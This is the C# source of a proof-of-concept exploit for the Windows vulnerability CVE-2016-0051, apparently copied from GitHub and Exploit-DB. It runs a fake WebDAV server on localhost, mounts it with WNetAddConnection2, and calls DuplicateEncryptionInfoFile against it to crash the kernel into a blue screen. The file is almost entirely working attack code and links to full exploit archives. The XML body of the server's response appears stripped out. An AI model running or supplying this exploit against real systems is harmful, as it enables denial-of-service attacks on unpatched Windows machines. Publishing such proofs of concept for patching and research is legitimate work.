/* Source: https://github.com/koczkatamas/CVE-2016-0051 Proof-of-concept BSoD (Blue Screen of Death) code for CVE-2016-0051 (MS-016). Full Proof of Concept: https://github.com/koczkatamas/CVE-2016-0051/archive/master.zip https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39432.zip */ using System; using System.IO; using System.Linq; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Text; using System.Threading; namespace BSoD { class Program { static void StartFakeWebDavServer(int port) { new Thread(() => { var server = new TcpListener(IPAddress.Loopback, port); server.Start(); while (true) { using (var client = server.AcceptTcpClient()) using (var stream = client.GetStream()) using (var reader = new StreamReader(stream, Encoding.GetEncoding("iso-8859-1"))) using (var writer = new StreamWriter(stream, Encoding.GetEncoding("iso-8859-1")) { AutoFlush = true }) { Console.WriteLine(" =============== BEGIN REQUEST =============== "); Func rl = () => { var line = reader.ReadLine(); Console.WriteLine("< " + line); return line; }; Action wl = outData => { Console.WriteLine(String.Join("\n", outData.Split('\n').Select(x => "> " + x))); writer.Write(outData); }; var header = rl().Split(' '); while (!string.IsNullOrWhiteSpace(rl())) { } if (header[0] == "OPTIONS") wl("HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n"); else if (header[0] == "PROPFIND") { var body = String.Format(@" {0} {1:s}Z {3} {4} {5} {6:R} {8} {7} HTTP/1.1 200 OK ", header[1], DateTime.UtcNow.ToUniversalTime(), "", "0", "", "", DateTime.UtcNow.ToUniversalTime(), 0, header[1].Contains("file") ? "" : "").Trim(); wl("HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: " + body.Length + "\r\nContent-Type: text/xml\r\n\r\n" + body); } else wl("HTTP/1.1 500 Internal Server Error\r\n\r\n"); Console.WriteLine(" =============== END REQUEST =============== "); } } }) { IsBackground = true, Name = "WebDAV server thread" }.Start(); } [StructLayout(LayoutKind.Sequential)] private class NETRESOURCE { public uint dwScope = 0; public uint dwType = 0; public uint dwDisplayType = 0; public uint dwUsage = 0; public string lpLocalName = null; public string lpRemoteName = null; public string lpComment = null; public string lpProvider = null; } [DllImport("mpr.dll")] private static extern int WNetAddConnection2(NETRESOURCE lpNetResource, string lpPassword, string lpUsername, int dwFlags); [DllImport("Advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern int DuplicateEncryptionInfoFile(string srcFileName, string dstFileName, uint dwCreationDistribution, uint dwAttributes, IntPtr lpSecurityAttributes); public static void Main(string[] args) { var p = new Random().Next(1024, 65535); StartFakeWebDavServer(p); var addConnectionResult = WNetAddConnection2(new NETRESOURCE() { lpRemoteName = @"\\127.0.0.1@" + p + @"\folder\" }, null, null, 0); Console.WriteLine("WNetAddConnection2 = " + addConnectionResult); var duplicateEncryptionInfoResult = DuplicateEncryptionInfoFile(@"\\127.0.0.1@" + p + @"\folder\file", "x", 2, 128, IntPtr.Zero); Console.WriteLine("DuplicateEncryptionInfoFile = " + duplicateEncryptionInfoResult); Console.WriteLine("BSoD did not happen."); Console.ReadLine(); } } }